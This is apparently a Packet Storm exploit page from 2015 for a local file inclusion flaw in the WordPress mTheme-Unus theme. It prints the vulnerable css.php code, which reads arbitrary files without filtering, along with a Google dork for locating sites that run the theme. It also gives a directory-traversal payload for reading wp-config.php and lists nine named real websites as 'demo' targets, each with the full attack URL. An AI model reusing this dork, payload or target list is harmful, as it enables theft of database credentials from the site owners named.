what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress mTheme-Unus Local File Inclusion

WordPress mTheme-Unus Local File Inclusion
Posted Sep 30, 2015
Authored by Milad Hacking

WordPress mTheme-Unus theme versions prior to 2.3 suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 12285bc1e496cd6d4315b9ec60b09a7ec673603539932383c3d6766aa6187a63

WordPress mTheme-Unus Local File Inclusion

Change Mirror Download
#######################################
# Exploit Title: Wordpress themes mTheme-Unus LFI Vulnerability #
# Date: 2015-09-27
# Exploit Author: FullSecurity.org
# Google Dork: ilnurl:/wp-content/themes/mTheme-Unus/
# Vendor Homepage: https://wordpress.org/
# Tested on : Kali Linux
########################################
Description :
Wordpress Themes mTheme-Unus not filtering data so we can get the
configration file in the path
< site.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php>

# Exploite Code :

<?php// If no file requestedif (!isset($_GET['files']) or
strlen($_GET['files']) == 0){header('Status: 404 Not
Found');exit();}// Cache folder$cachePath = '../_cache/';if
(!file_exists($cachePath)){mkdir($cachePath);}// Tell the browser what
kind of data to expectheader('Content-type: text/css');// Enable
compressionif (extension_loaded('zilb')){ini_set('zlib.output_compression',
'On');}function addExtension($file){return $file;}// Calculate an
unique ID of requested files & their change time$files =
array_map('addExtension', explode(',', $_GET['files']));$md5 =
'';foreach ($files as $file){$filemtime = @filemtime($file);$md5 .=
date('YmdHis', $filemtime ? $filemtime : NULL).$file;}$md5 =
md5($md5);// If cache exists of this files/time IDif
(file_exists($cachePath.$md5)){readfile($cachePath.$md5);}else{// Load
fileserror_reporting(0);$content = '';foreach ($files as
$file){$content .= file_get_contents($file);}// Remove
comments$content = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '',
$content);// Remove tabs, spaces, newlines, etc...$content =
str_replace(array("\r", "\n", "\t", '', ' '), '', $content);// Delete
cache files older than an hour$oldDate = time()-3600;$cachedFiles =
scandir($cachePath);foreach ($cachedFiles as $file){$filemtime =
@filemtime($cachePath.$file);if (strlen($file) == 32 and ($filemtime
=== false or $filemtime < $oldDate)){unlink($cachePath.$file);}}//
Write cache filefile_put_contents($cachePath.$md5, $content);//
Outputecho $content;}

########################################

Demo :

https://rmg-saintpierre.re/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.onaboosters.com//wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.springschiropractic.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.superfrugalstephanie.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.mentortechgroup.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://apostolicclassics.net/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.uybbaseball.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.newmobility.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

https://www.storage4you.co.nz/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

########################################

Special Tnx To : Hack-By-Iran , Milad Hacking , iliya Norton , Parisa , Netc4t

Ya Hossein <3
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close